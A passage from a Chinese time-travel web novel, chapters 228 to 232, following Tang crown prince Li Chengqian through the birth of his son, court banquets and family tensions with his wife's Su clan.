“侯君集赴任之后,河北的许多世家同他多有往来。” 李承乾陷入沉思,河北,燕赵之地,从汉末至隋唐,一直都是北方动乱的源头。 有民风剽悍的缘故,更重要的还是河北世家大族的斗争,山东和代北的世族有不少在那里盘踞。 汉末支持四世三公的袁绍,南北朝支持北朝崛起,从长远的历史角度看,世家大族支持北朝崛起,是推动了中华民族大融合。不过从当下看,河北的世家大族的摇摆,完全是一颗影响社会稳定的定时炸弹。 “同高句丽互通有无是叛国之罪,贿赂朝中大员依律要严惩,世家大族联姻盘根错节,若是在牵扯出谋害太子。” 依照大唐律法,数罪并罚,大唐要有自己的“国史之狱”。 北魏的国史之狱,太武帝拓跋焘将清河崔氏、太原郭氏、范阳卢氏、河东柳氏四大家族嫡系连根拔起。 皇帝是害怕他心里不平衡,做出什么出格的事情来。 旁敲侧击,意在告诉他,李泰刺杀他这事儿,一定会有处置,不过不是现在,要他等! “父亲布局长远,臣佩服。您放心,臣不会给您添麻烦的。” 李世民点点头,他知道他的担忧可能是多虑,高明和承乾终究是不一样。承乾会眼巴巴等着他裁决李泰,高明不会。 “朕知道你有午睡的习惯,用过了膳就在甘露殿歇下,或者你直接去两仪殿睡也行。” 睡到两仪殿,李承乾表示还是算了。 “瞧你那个表情,怎么,觉得叫你去睡两仪殿,是埋汰了你?” 李承乾回了一个笑,“父亲,臣可没这么说,不要冤枉臣。” 李世民哼笑一声,道:“那显德殿是朕登基的地方,如今归了你,多么庄严的议政之所,结果呢?你直接将寝殿设在显德殿内室。” 李承乾笑道:“父亲,您可知未来的老板,最喜欢的一句话,员工要把公司当家。节省有限的时间,创造出更大的效益。” 李世民抚掌,李承乾给他解释过后世的公司。 “当下的制度和体系,你的身份,国与家是分不开的,你把寝殿设在显德殿,这说明太子心中,家要为国让路,很好。” 李承乾笑的十分尴尬,回答皇帝:“父亲,臣没那么高尚,单纯就是为了节省时间。” “凡事论迹不论心,你节省出来的时间,勤于政务,也是你的德行。” 这种商业互吹,多少让李承乾有些头皮发麻,正在思索着如何转换话题,就见张阿难疾步进来。 救星啊! “太子殿下,东宫家令来报,太子妃怕是要生了。” 媳妇儿生孩子,李承乾原地起身,发出“哎吆”一声痛呼。 “承乾……” 李世民大跨步上前,扶住李承乾,忙问:“怎么了?你这又是哪里伤到了?” 李承乾道:“无碍,臣脚上的伤还未痊愈,方才起身的动作太大,扯到旧伤了。” “侍医呢?传侍医过来。” 李承乾急着要去东宫,张口拒绝,被李世民直接否决。 “产房不许男子入内,你去了也是在门外干等着,先照看好你自己,别孩子出生,你这个做父亲的连抱一抱都不成。” 走不了,李承乾原地干着急,一直等来侍医,全面检查一番,确定没事儿,李世民这才松了口气。 “乘坐歩辇回去,不然你就别回去了。” “父亲,臣没那么娇弱。” 李世民满心无语,“这一年八个月,你养病养了四个多月,你这个人,浑身上下也就是嘴硬。” 张阿难接到皇帝的目光示意,领着殿内众人出去。 “慎微照顾好承乾,朕照顾好你,这是朕和慎微的君子之约。朕与慎微相见恨晚,朕知道慎微不会负朕,朕也不愿有负慎微。你心中只认慎微为父,父子连心,希望你也不要让慎微担心。” 李承乾缄默在原地,他当然知道皇帝在pua他,可他也不得不承认,皇帝说的是事实。 “父亲,慎微二字不是我爸的名讳,他老人家姓高,讳柏。我爸出生在冬至日,祖父当时教授学生《荀子·大略》,其中有一句话是这么说的‘岁不寒无以知松柏,事不难无以知君子’,遂取了‘柏’字作为我爸的名讳。” 李世民笑道:“名如其人,‘柏’字配高先生恰如其分。” 借尸还魂,慎微终究不是高柏,李承乾不愿意高柏背负慎微之名。 “父亲,臣先回东宫了。” 李世民点点头,示意李承乾可以离开了。 很多年前,李承乾出生时,他也是这般兴奋。 不过,他并不理解此刻的李承乾。 千年轮回,又不是第一次有孩子,为何这般兴奋? 两仪殿朝议,不见太子。 房玄龄笑道:“看样子,天家要有大喜。” 太子不朝,不是大喜就是大病,算日子太子妃临盆在即,前者的可能性更大。 诞育皇孙,李世民脸上满是笑意。 “东宫家令来报,太子妃要生了。朕料想太子是坐不住的,诸公议政说了些什么,他也是听不进去的,就不留他在这里干着急了。” 长孙无忌暗暗摇头,女人生孩子,回去了也是干着急。太子,到底还是不太稳重,改日找机会,还是要和太子好好聊聊。 魏征道:“陛下可要为太子殿下的孩儿赐名?” 李世民轻笑,要他赐名,魏征啊魏征,真是无时无刻不在为李承乾积累声望。 “太子妃妊娠三月,太子就想好了名讳,觉。” 马周问道:“不知是哪一个字?” 李世民道:“觉,悟也。” 魏征笑道:“晋·左思《吴都赋》有这么一句话:‘藏埋于终古,而未寤于前觉也。’觉,是贤智者之称。” “正是这个意思,太子长男,宗之冢嫡,朕也希望他贤且智。” 第228章 太子妃诞子 初产妇盆骨打开缓慢,苏氏这一胎生的并不顺利,大半日时间过去,仍旧没什么消息。 子时一刻,一声嘹亮的啼哭打破宁静,不多时,接生姥姥抱着孩子出来报喜。 众人齐刷刷下拜向太子道喜,李承乾接过孩子,问道:“太子妃还好吗?” “太子妃一切安好。” 李承乾要进丽正殿,被宫人们拦住,“殿下不可,产房污秽,还请殿下止步。” 生孩子他不进去,那是因为他帮不上忙,孩子生了,他不进去看看媳妇,就有些过分了。 “谁不是这么爬出来的?有什么污秽的?” 李承乾不顾宫人阻拦,强行进殿,却又被苏氏贴身侍奉的宫人拦在屏风外。 “你们这是做什么?” “殿下,别,别进来……” 她孕期憔悴,尚且不愿意被太子看到,生产这一番折腾,人不人鬼不鬼的样子,她就更不愿意让太子见到了。 “殿下,我求您,别进来……” 李承乾叹气,他爱美色,但还达不到贪的地步,他不是轻薄之徒,不会唯美色视人。 不知道他做了哪些事情,给苏氏固有偏见,让苏氏觉得他会因为生产容色有失,怠慢元妻。 “我们的孩子,我想抱进去给你看看。” “殿下,妾身容颜有损,不宜面君。” 李承乾道:“你是我的元妻,更是我患难之妻,你又为我生了孩子,我不会因为你生产伤了身子,损了容色厌弃你的。” 苏氏默默垂下泪来,苏家干的那些事情,眼下她与太子感情尚笃,太子可以不计较。 将来东宫里有的是美人,等到他们夫妻感情渐远,苏家那些事情渐渐就会成为太子吞下去的苍蝇,时刻恶心太子。 “殿下,妾身实在疲惫,只怕怠慢了殿下。” 李承乾沉默良久,苏氏已经拒绝两次,他在纠缠就没意思了。 “那好,我先出去了,你好生歇着。” 李承乾出了门,将孩子交给乳母,这才想起来,东宫诞育皇孙,要给甘露殿报喜。不过,这都子时过后了,皇帝应该已经就寝,明日再报吧! 天知道,李世民等了大半夜,始终没等到东宫前来报喜,一直到翌日晨起,李承乾前去请安,他才得知李觉太子时一刻出生。 “李承乾,你知不知道朕等到了寅正,实在等不住了,这才前去就寝。” 他真的不知道,不过看样子,皇帝十分生气。 “这不是想着过了子时,您老人家该睡了,所以才没叫人通报。” 李世民指了指门口,“你,滚吧!” 皇帝会等他大半夜,有些出乎李承乾意料。 皇孙诞育之喜,李世民大宴群臣,顺手赦免了孔颍达,并将其召回长安,已经商议好的事情,李承乾并不觉得意外。 兴许是心情好,连手里的酒也格外香甜,奈何美中不足,如此美事,不能同父亲分享。 “太子殿下,臣敬您一杯。” 敬太子的酒! 猛士哉! 众人顺着目光看过去,是尉迟宝琳。 李承乾举杯回敬,又向众人道:“我是三杯的量,这才吃了一杯,回敬尉迟将军,也敬在座诸公。” 众人举杯,齐齐回敬李承乾。 尉迟恭饮完酒,狠狠瞪了尉迟宝琳一眼,尉迟宝琳心下愤愤,他当然知道太子体弱多病,酒水不宜多饮。所以,他确定了太子只饮了一杯酒,才敬的第二杯酒。 “皇孙诞育是大喜,太子,你弹一曲,朕与诸公一舞。” “好!” 李承乾笑盈盈应下,只要不是拉着他在人前尬舞,别说弹一首曲子,唱一首都没问题。 “上次路过东宫,殿下唱的是《敕勒歌》,词曲被改过,却是别有一番韵律。今日大喜,殿下可否再唱一次。” 李承乾暗暗腹谤:长孙舅舅是跟皇帝商量好的吗?一个要求他弹,一个要求他唱。 “不瞒殿下,那首《敕勒歌》听着十分亲切。” 李承乾笑道:“好,我为诸公唱一曲。” 长孙无忌觉得《敕勒歌》亲切,比李世民觉得亲切还正常,草原的歌,来自于草原的民族,当然感觉到亲切了。 长孙这一个姓氏源于北魏拓跋氏皇族,北魏道武帝拓跋珪建立政权后,因曾祖父拓跋郁律的长子沙莫雄一脉功勋卓著,赐其后代改姓长孙氏,意为“王族长门子孙”。 宫人拿来琵琶,李承乾试了试音,拨动旋律,李世民率先下场,邀请长孙无忌等重臣共舞,殿内一时间热闹非凡。 气氛会感染人,李承乾唱完一曲《敕勒歌》过后,又转换《鸿雁》,乐曲不断,歌声不绝,君臣共舞。 随着歌声结束,舞蹈落幕,李承乾暗暗感叹,埋藏在血脉里的基因太强大了,他经历了那么多,再回到这个环境,还是会不由自主为这个环境感染。 “诸公可尽兴?” 房玄龄笑道:“太子愿意助兴,我等绝不扫兴。” “那当然不能让诸公扫兴。” 李承乾再次拨弦,舒缓的乐曲余音绕梁,众人也随着乐曲变换,转变舞姿。 又是一曲毕,李承乾不由得为舞蹈伤怀,这样好的东西,在三五百年后,彻底沦为下九流的代名词。 舞蹈在民间被一禁再禁,最终彻底消亡历史的长河,汉民族成了只能看着少数民族跳舞的拍手党。 若后人有机会,得见今日君臣共舞之盛世,是否也会为舞蹈在民间的消亡而感到伤怀? 长孙无忌笑道:“陛下少时就爱玩儿,太子是陛下的儿子,又怎会不爱玩儿?说来,还是陛下将太子殿下藏的太好了,总说太子不喜玩闹。原本爱玩儿的人,都被陛下您一句话训得不爱玩儿了。” 李世民当即炸了,“辅机,你说话讲究良心,朕何时不让太子玩儿了?。” 魏征跟着附和:“国舅此言,附议,陛下要做严父,却怪孩子不亲近。” “说到做慈父,朕哪里比得过玄成,宁肯自己钓上来条蛇,也要保证儿子钓上来的是鱼。” 皇帝挖苦魏征,格外的有天分,一众大臣,几乎都被魏征怼过,皇帝开了口,众人齐刷刷的跟着围攻。 房玄龄紧随其后补刀,“玄成嘴巴毒,能把蛇毒跑,换成叔玉,得给蛇吓跑。” 萧瑀道:“叔玉给吓跑了,岂不是扰了玄成公钓鱼的雅兴?” 杨师道笑得合不拢嘴,“慈父哉!我是做不来,做不来。” 挖苦魏征,贞观君臣堪称齐心协力的典范,李承乾赶忙下场解围。 “这就是我羡慕叔玉的地方了,好在我也没白羡慕,一日为师,终身为父。师傅,下次我们两个一起钓鱼,我胆小,你可要护着我。” 不等魏征开口,就听李世民道:“你是小胳膊小腿,他一个老棺材瓤子了,还能护着你?别你们两个都被蛇追的满山跑。” 李承乾笑容僵了僵,他就解个围,至于吗? 再说,又不是去岭南钓鱼,没有过山峰,怎么会被蛇追的满山跑? 第229章 李承乾的偏爱 中秋宴会结束的翌日,魏征造访东宫,李承乾亲自抱了孩子出来。 “师傅,您看觉儿这孩子,像我多一些呢?还是像太子妃多一些?” 魏征打量着小孩儿许久,摇摇头:“这么小的孩子,暂时还看不出来像谁多一些。” “师傅,您到底把陛下和众位大臣得罪的有多狠?我是看出来了,他们逮着机会就追着您老人家挖苦。” 魏征笑了笑,他从前也被李世民挖苦,但没像现在这么严重,至于为什么,太子心里真是一点儿数没有。 “优秀的人,总是能吸引他人目光的。” 李承乾轻笑,“师傅,话是实话,可您也太不谦虚了。” 魏叔玉那与生俱来的自信,算是有源头了。 魏征道:“总好过我们太子殿下谦虚的埋汰人,你说是不是啊?太子殿下?” 李承乾:…… “师傅,您不疼我了。” 魏征一本正经的逗弄小孩儿,不忘同李承乾斗嘴,“疼殿下?不敢当,不敢当,陛下没赏赐老夫戒尺,疼不了。” 李承乾:…… “我没做错什么吧?师傅要打我?” 魏征哈哈一笑,将孩子递给李承乾,“殿下当然没做错什么,所以也无需陛下赏赐戒尺给……” 魏征的话被紧随其后的咳嗽替代,李承乾赶忙将孩子递给乳母,上前去查看魏征的病情。 “殿下不必忧心,老毛病了。” 哪里会不忧心,茶汤冷了,魏征刚才还喝,李承乾默默给魏征又换了一盏擂茶。 魏征吃过一盏茶,便要起身离开,“殿下,我在门下省还有事情,不能多留了。” 李承乾将人送出东宫,转身吩咐宫人去寻梨子、生地、葛根、麦冬等药材。 此前吩咐宫人给太子妃煮秋梨膏,到底是他大意了,秋日天干气燥,怎么把魏征忘了。 翌日一早,魏征才出太极门,就见东宫家令迎了上来。 “魏公,这是太子殿下让在下送来的。” 魏征不明所以,家令解释道:“魏公昨日在东宫咳嗽了几声,殿下放心不下,让在下送来秋梨膏。太子殿下说,魏公积劳日久,伤了肺阴,秋梨膏生津、降火、润肺、止咳。” 走过来的长孙无忌,正好看到这一幕,嘴角不自觉的抽了抽,李承乾对魏征好的过分了。 “这个要怎么服用?” 家令对答:“魏公要饮用时,取两勺兑温开水,搅化了服用就行。” 魏征对着东宫方向拜了一拜,道:“劳太子殿下挂心,晚些时候我过去谢恩。” “东西送到了,魏公若无吩咐,在下要回去同殿下复命。” 甘露殿 长孙无忌找李世民吐槽,“那老棺材瓤子说话那么难听,这承乾怎么偏偏喜欢魏征?” 李世民叹气,李承乾为什么喜欢魏征,话题有些沉重。 “人心偏,承乾心里,天地君亲,都没他这个老师来的重要。” 长孙无忌道:“衣食住行,太子权柄范围之内,承乾对魏征都有明晃晃的偏爱。我看过承乾改的策论,那魏叔玉的策论,承乾改的叫一个仔细。承乾也厚待李德謇,但比之魏叔玉,还是差一些的。” 李世民端着茶水,他当然知道长孙无忌的意思。 东宫太子的宠臣,不是姓长孙的,长孙无忌心里不平衡。 “当初朕偏爱青雀,给了他超过太子的荣宠,青雀挑衅太子,满朝文武做壁上观时,只魏征为太子据理力争。” 长孙无忌默然,端起茶汤来轻抿。 皇帝带着长孙无忌驾临东宫,李承乾慌忙收拾案几,出去迎驾。 “父亲,舅父,你们怎么过来了?” 李世民道:“这话说的,是不愿意我们过来?” “哪里的话,本就要去甘露殿拜见的,正巧父亲过来,倒是省了臣跑一趟。” 李承乾扶着皇帝上座,禀明了这半年来稻种培育。 水稻杂交失败了,但安南稻试种很是成功。 开春种下的棉花也丰收了,李承乾收了棉花,叫人小心摘出来,吩咐宫人制棉衣,棉衾。 失败了,李世民多少有些失落,不过证明了安南稻的高产量,他的心情好了些许。 “白叠我收了一部分下来,正要禀明父亲,派人给舅父送去,正巧舅父来了,倒也省了许多麻烦。父亲,您就说是您赏赐给舅父的,免得御史弹劾臣勾结朝廷重臣。” 李世民道:“你对魏征那般上心,不怕麻烦,不怕御史弹劾了?” 李承乾笑道:“魏师傅是重臣,也是孤臣。” 长孙无忌换了个话题,问道:“小皇孙呢?同陛下闲聊,顺道过来看看小皇孙。” 李承乾道:“在丽正殿,我叫乳母把孩子抱过来。” 不多时,乳母将孩子抱到显德殿,李世民接了孩子,长孙无忌在一旁逗娃。 “承乾,这孩子和象儿,眉眼间都像你。” 长孙无忌道:“承乾容貌肖父,这孩子是肖了皇祖父。” “是啊!肖朕,肖朕。” 贞观之后的历史,李世民知道一些,他的孙儿下场都不怎么好,李承乾的孩子,他那一堆孙儿里头,鲜有的善终。 李承乾碰了碰李觉的小脸,肉嘟嘟,软乎乎的。 “父亲,您说我送臣什么礼物好呢?” 李世民道:“你自己的儿子,你不知道该送什么礼物给他?” “臣想了好多东西,觉得各个都好,又觉得每一个都不尽如人意。” 李世民道:“你自个儿慢慢儿想,实在想不出,去问一问太子妃。” 提到苏氏,李承乾多少有些头大。 “太子妃不肯见臣,说是损了仪容,不宜面君。” 李世民轻笑,仪容是次要的,苏家那些事情才是主要,谁也不敢赌君上之心,赌李承乾真的一点都不介意苏家站队李泰,赌若干年后,李承乾不会为此迁怒李觉。 苏氏端庄,算不上什么绝色美人。李觉满百日之后,李承乾照规矩纳妃。产后容色败落,苏氏能愿意见李承乾才有鬼。 “人无远虑,必有近忧。越是身处高位,就越是患得患失。庶民之得失,不过几间房子,几亩薄田。太子妃这个身份,得失牵扯的太多。” 第230章 苏家 李承乾听罢摇头,苏氏的忧虑无非苏家那些个破事,可于他而言,只要苏氏不出卖东宫偏帮苏家,苏勖那点儿破事算什么,就是苏家谋反,苏氏也是他的元妻。 苏家选择入仕文学馆的时候,苏氏就是弃子了,这是以家族为本位的时代,苏氏是家族攀附权贵的棋子,却是一颗不被坚定选择的棋子。 从来没有被坚定选择的人,患得患失是常态,他李承乾就是这么过来的,如今他也能理解苏氏的恐惧。 送走皇帝之后,李承乾抱着孩子去丽政殿,从前他都是让人通报,这一次一反常态,不让人通报。 他终究是太子,若他执意做某一件事,整个东宫没有人敢违逆他。 苏氏睡着还没醒,李承乾将孩子放在一侧摇篮里,坐在床榻一侧,静静陪着苏氏。 时间这样一分一秒的过去,兴许是做了噩梦,苏氏从梦中惊醒。 “殿下,您怎么来了。” 李承乾迅速安抚住要起身的苏氏,道:“来看看你,生产伤人,你躺着好生歇息就行。瞧你方才的样子,是做噩梦了?” 苏氏将鬓边的碎发别在耳朵后,道:“妾身母家递来口信,想要进宫探望。” 照理说,太子妃的娘家人要进宫探望,女眷根本不用经过他同意,苏氏自己就能做主,可苏氏妊娠直至生产,苏家的人都没进过东宫。 “你不想见他们?” 苏氏点点头,伯父在前魏王府供职,劝魏王开文学馆,为前魏王出谋划策,着力打压东宫,皇帝下令封禁东宫,那时她内心的恐惧,苏家人知道吗? 世家大族的女子,都是家族联姻的工具,她有自知之明,妊娠早期,苏家人求见她也没有彻底将人拒之门外,可聊天的内容,实在让她心寒。 “驸马都尉被贬出京,南昌长公主没有随行。” 李承乾道:“苏夫人进宫或许是为了看外孙,南昌姑母来怕是为了其他什么事情。” 孔颖达从岭南回长安,重新任职,只要他点头,苏勖回京也不是问题。 生产太过伤人,苏氏累极了,鬼使神差的讲起了过往的事情。 “母亲想要儿子,事与愿违得了妾身这么一个女儿……” 后面的话,苏氏没有说,李承乾能猜到。 “母亲生妾身难产,此后不能再孕育子嗣。” 这个事情李承乾知道,苏氏的弟弟是李隆基的宰相,就是苏亶第二任夫人生下的,同李厥足足相差三十八岁。 “殿下可知,妾身是祖母带大的。” 李承乾不知该怎么评价,嫁出去的女儿,不及叔伯子侄亲。 “你不想见他们,那就不见,嫁出去的女儿疏远娘家人,只怕有人说你攀了高枝就成了白眼狼。此事我来处置,旁人说什么,你只说你出嫁从夫,与我又有君臣之别,不好违逆我。” 苏氏眼眶一酸,不由得落泪。 “都是些内宅的事情,妾身可以处置,还不至于脏了殿下的手。” 李承乾道:“你我成婚四载岁月,你办事我素来放心,换做平日,我自然不管,可你才生产,正是虚弱的时候,好生养着身子才是正理。苏家这些人着实不知事,明知你才生产,最需要休息,还要来烦人。” “殿下替妾身找几个可心的婢女,妾身出了月子,有用。” 李承乾沉默片刻,为母则刚,苏氏这是要清理掉苏家放在她身边的人,彻底同苏家划界限。要他帮着选人,是要同他表忠心,意思是她这个太子妃一门心思只在东宫。 “自己挑上来的人,用着最是舒心,我相信你有分寸。” 苏氏点头,沉默良久,最终决定直接将事情挑破,她掀开被子,撩起里衣,抚摸着不平整的小腹。 “妾身的身上,有了花纹。” 李承乾伸手抚摸,笑着道:“没有苏卿身上的花纹,哪儿来觉儿唤我一声阿耶呢?苏卿于我,是有功之人,大功。我的母亲为陛下生了三子四女,我不要那么多的儿女,我只盼着你我儿女双全。” 苏氏破涕为笑,太子的意思,是不会嫌弃她这斑驳的腰腹了,还愿意同她绵延子嗣。 “你好生歇息,我改日再来看你。” 苏氏点点头,目送太子出门。 李承乾离开不多时,李觉哭了,苏氏贴身婢女领着乳母进来侍奉。 “咱们皇孙是有大造化的,这几日每每有人到访东宫,殿下都会抱着小皇孙出去见客。 苏氏含笑看着儿子,儿子能得夫君疼爱,她心中亦是欢喜。 “自太子妃有了小皇孙,咱们殿下都不似从前亲近那位了。” 苏氏眸子微动,月子中不好清理门户。 “那位如何,也是殿下的长子,大唐的皇孙,是你们可以议论的?” 那婢女福了福身子:“太子妃恕罪,奴婢知错了。” 知错了,但从不改,这已经不是她第一次警告了,若非这是母亲给她挑的人,她早就把人清理出去了。 “这些话流传出去,我也保不住你。” 那婢女不以为然,太子正妃,在一个庶子身上束手束脚。 “奴婢知道了,夫人传了口信进来,想必是挂念太子妃。” 苏氏闭目养神,父亲被召入京师只领了闲职,有从龙之功的伯父因前魏王之故被贬出京师,苏家这是急了。 再有数日就是制考,武功苏家有人参考,太子是主考人,她还不至于蠢到不知苏家人进宫想干什么。 “女人没有娘家,是不能在婆家直起腰杆的,殿下如今对太子妃的厚待,看重的就是苏家的助力,太子妃可不能错了主意。” “我乏了,你先下去,此事我有分寸。” 打发走了众人,苏氏又昏昏沉沉的睡了过去。 李承乾办事一向迅速,翌日一早,就召见了苏家两房夫人。 寒暄是不存在的,他本来就恶心苏家,说话直接开门见山。 “太子妃产子辛苦,乏力昏沉,连下榻都艰难。莫说是娘家人,就是孤这个夫婿,轻易都不舍得烦她。孤以为女子是最能体会女子苦楚的,什么时候不能见?非要这会子求见?心肝这种东西,不指望人人都有,也不至于缺成这样吧?” 南昌长公主脸色很是难看,道:“妇人产子不都是这样?” “看样子,驸马都尉也不怎么体恤长公主,以至于长公主觉得吃苦都是应该的。” 南昌长公主脸色阴沉的滴水,李承乾才不管她脸色如何,继续道:“太子妃出月子之前,孤不希望任何人扰了她的清静。” “太子殿下,这是内宅的事情,您不应该插手。” “内宅也好,外宅也罢,长公主要记住一句话,孤才是这东宫的唯一主。” 南昌长公主气急,拍案而起:“就是皇兄,也不会这般同我说话。” “长公主若觉得孤说得不对,出门右拐,孤让人开通讯门,长公主尽管去甘露殿见驾,参我就是了。” 第231章 太阳打西边出来 南昌长公主在闺阁之中颇受宠爱,这还是头一遭,被一个晚辈下面子。 苏夫人是女眷,不好直接面见皇帝,但南昌长公主求见兄长,没有任何问题。 李世民好好的听曲子,突然自家妹妹一把鼻涕一把泪的进来告状,一听缘由,恨不能立刻把人拎出去。 李泰那文学馆是他同意的,却是苏勖提出并鼓动李泰上疏开文学馆,也是苏勖提出要李泰编撰《括地志》争宠,还是苏勖不辞辛苦,走访大唐山川,为《括地志》搜集材料。 李承乾那小气鬼,没有迁怒苏氏,迁怒苏家,没有主动去找苏家麻烦,苏家就该烧香拜佛了,脑子不清楚还敢去招惹李承乾。 想苏勖被召回京,又想制考走太子的门路。不敢直接跟太子对上,就去找苏氏,想苏氏吹枕头风,人家太子妃不愿意,还乱七八糟说一堆恶心人的话。 李承乾能召见,当面把话说清楚,都得感谢高柏和付先生教的好,换成是他的承乾,有眼下的权柄,话只会说得更加难听。 “妹妹,太子说得也没错,太子妃产子辛苦,你觉得你受了委屈,那太子还觉得媳妇儿受了委屈呢!你要朕怎么做?为这点子事情去申饬太子吗?御史的奏疏不仅会把朕埋了,连你都要被弹劾。” 南昌长公主道:“皇兄,太子妃是我们苏家的女儿,不让太子妃见娘家人,太子也太霸道了吧?御史就算弹劾,也得两点道理吧?应该弹劾是太子。” 李世民笑了笑,这才哪儿到哪儿?年轻人,到底经历的太少了。还有,为这个事情弹劾太子?魏征还在呢!把魏征当摆设了? “妹妹,你还是没弄清楚。不是太子不愿意太子妃见你们,是太子妃不愿意见你们。你身在闺阁之中,可驸马都尉同越王做的那些事情,你不会一点都不知道,太子没有用手上的权力去报复驸马都尉,你就该知足了。” 南昌长公主瞳孔猛地一缩,继续装糊涂,“太子没有抱复,那也是因为皇兄主政,谁知道以后……” “放肆!”李世民当即沉了脸色,正色道:“你这是在质疑太子得品性?你是什么身份?这些话是你可以说的?别说是你,就是你那个驸马都尉,借他十个胆子,他也不敢议论太子。” “皇兄,臣妹就是委屈,想见见自家侄女还要受这样的羞辱。” 装傻没个限度,就让人厌恶了,李世民冷笑道:“自家叔伯帮着外人害自己夫婿,太子妃不委屈吗?但凡太子是个心狠手辣的,东宫的嫡长子就不会从太子妃的肚子里爬出来,太子妃不愿意见你们,那是你们自作自受。苏勖同越王来往时,你频繁出入越王府,没少拿好处,你有什么可委屈的?” 南昌长公主登时吓出了一身冷汗,皇帝在玄武门沾了手足的血,可对其他兄弟姊妹一向宽厚,这还是她第一次见皇帝如此疾言厉色。 “朕知道,你心疼自家夫婿被贬,孔颍达都风风光光的回来了,驸马都尉却还在外头。你正当盛年,夫妻两地分居,的确不是个办法。” 听皇帝这么说,南昌长公主松了口气,结果又听皇帝补充道:“照例驸马都尉受罚,公主不用随行,朕特加恩典,许你赴苏勖所贬之地同他团聚。” 南昌长公主听罢,只觉得两腿发软,他想驸马回京,可不想自己出京。 “太子是储君,你可以摆长辈的架子,那是太子有教养,有品性,给你脸面,你也要给自己脸面,知道好歹。你执意拜见太子妃,憋着什么坏,你要装傻,太子没有点破你,朕也不把话说破,你自己好自为之吧!” 张阿难接到皇帝眼色,上前将南昌长公主“请”了出去。 送走了这个麻烦,李世民看了眼漏刻,李觉洗三,差不多到时间了。 “你可知你姑母去甘露殿告状了?” 皇帝又来搞突袭,李承乾已经习惯了,起身拜见过皇帝,不慌不忙的开始收拾主位案子上笔墨之类的。 李世民凑上去看,笑道:“这是刚出生的觉儿,你还真画下来了,这个画了一半的是?” 李承乾抬抬手驱散宫人,笑道:“未来孩子出生要照照片,洗三也会有照片,满月、百日、周岁都有。” “朕听明白了,没有照片,你直接手绘。” 李承乾道:“是啊!这个孩子是臣盼来的,臣要好好记录他成长的过程。” “对了,今日是洗三礼,你怎么什么都没准备?” 李承乾道:“觉儿胎黄,还有些咳嗽,听侍医说还有些泄泻,臣自作主张,把洗三礼往后推了。” “对了,想好送觉儿什么礼物了吗?” 李承乾摇摇头,太纠结了。 李世民忍不住打趣,“你可算放下了对岭南的执念,不打算把妻儿流放岭南了。” 李承乾:…… 这个梗,过不去了吗? “你可是把你姑母气坏了,一把鼻涕一把泪的跑过来同朕诉苦,说你不让太子妃见娘家人,太霸道了。” 李承乾道:“见娘家人无甚不可,实在是他们苏家憋着一肚子坏水,我看着是在碍眼。苏勖的事情倒还是其次,苏家的目的在这一次制考。武功苏氏有参考的考生,都知道这一次制考评出来人才,要入东宫任职。” 苏勖在他这里是绝对的黑榜,苏家当然知道苏勖不可能在东宫讨得一席之地。 “举贤不避亲仇,那苏勖真有魏房杜的本事,臣可以不计前嫌,召他回来,委以重任。或者说武功苏氏,有人是治世能臣,根本不用苏家着急,臣自然会用。可眼下,他们苏家没有这样的人。” “眼下没有?”李世民抓重点词的本事一向一流,遂追问道:“也就是说往后能有?” “有是有,不过等他出生得三十七八年后,等他长成入朝,少说得六十年。用不用他,那就是后人说了算。” 李世民道:“那是挺久的,你我父子两朝,是没机会用了。” “臣话说得难听,姑母应该不会再来了。” 李世民道:“她肯定来不了,朕送她去和苏勖团聚了。” 李承乾暗道:干得漂亮! “父亲,前两天练了一首新曲子,父亲您觉得会喜欢。” 李承乾主动邀请他听曲子,太阳打西边出来了? 第232章 李承乾的纠结 “我儿相邀,为父怎会扫兴?” 李承乾笑道:“您扫兴也没问题,反正臣习惯了。” 李世民:…… 他有那么扫兴? “要不,朕给你伴奏,你下场舞一曲胡璇?” 李承乾摇头,道:“父亲,臣脚伤未愈,您这是要臣再残废一次啊!” 又来翻旧账,李世民头皮发麻。 “你别胡说,朕就是开玩笑,你不要胡思乱想,不要来污蔑朕,朕绝对没有那个意思。” 李承乾取了琵琶,小心调音,拨动旋律。 “我从来不知,你喜欢乐曲。” 李承乾笑道:“幼时看阿翁弹琵琶,只是感兴趣,可那时臣还太小,阿翁不愿意教沉。后来臣做了太子,是没功夫去学,后来轮回之中,闲了找事情做。” 李世民闭目欣赏曲子,乐曲是直击灵魂的,实现古今共通。 “这一首曲子,余味绵长,听来是满满的遗憾。” 李承乾轻笑,老三国的经典配乐,可不得满满的遗憾。 “可惜我的脚伤了,不然一定要来一段剑舞。” “剑舞?”李世民一听这话,笑得直不起腰来,“承乾,不是朕看不起你,就你打拳打的那个样子,还剑舞。” 李承乾道:“您不要门缝里看人行不?” “什么是门缝里看人?” 李承乾道:“就是把人看扁了。” 李世民道:“你不是方的,也不是圆的,为什么不能看成扁的?” 李承乾:…… “来人!” 吴顺疾步从殿外进来,李承乾吩咐道:“我这几天玩儿的那根竹棍,给我找来。” 不多时,李承乾拿到竹棍,向皇帝拜了一拜,“我编了一套剑舞,我脚有伤,舞的慢,您提前看一下,哪里需要改。” 李世民面上带笑,问:“需要什么曲子,朕给你伴奏。” 李承乾道:“曲子我还没想好,后续慢慢儿想。” 听这意思,是专门为某个人所做,李世民有些好奇,是谁呢? 能让李承乾费心思的不多,姓高的已经走了,观音婢逝世,苏氏、李象、李觉不够格,似乎只有他一个人一个人,有这个资格。 李承乾舞过几式,脚上传来阵阵酸麻,迫他不得不停下舞剑。 “想不到你还有这个天分。” 李承乾揉了揉酸痛的脚踝,道:“那日见我爸下场一舞,臣也不知为何,仿佛在那一瞬间被点化。或许,臣不是没有天分,只是缺一个志同道合的人。” 听了这话,李世民暗暗在心里问候高柏祖宗十八代。 “你这个剑舞,同高先生打的太极拳很像,不过又有所不同,这其中几次拜礼,似乎是拜谢某人。” “行家!”李承乾拊掌喝彩,“这是我排来给人贺寿用的。” 李世民笑得合不拢嘴,李承乾这小子,花心思讨好人,也是厉害的紧。 “明年魏师傅六十大寿,他老人家的脾气,肯定不会大办,臣已经想好了,臣去魏家给他贺寿。” 李世民脸上的笑多少有些僵硬,搞半天是给魏征的。 那个老棺材瓤子,他何德何能? “那是明年的事情,你这会子着急,未免太早了。” 李承乾道:“这么重要的事情,怎么会早?” “觉儿呢?怎么不抱出来。” 李承乾道:“觉儿病了,在丽正殿,父亲要见他,臣让乳母抱过来。” “不用了!” 没心情,不看了。 “没别的事情,朕回去歇着了,四日后制考,你自己妥善安排。” 皇帝心情不好,李承乾察觉到了,不过又不是他惹得皇帝,事不关己,高高挂起。 就算他想为皇帝排忧解难,帝王多疑,谁能保证皇帝不会觉得他要揣测天心? 不介入他人因果,坚决不承担他人因果反噬。 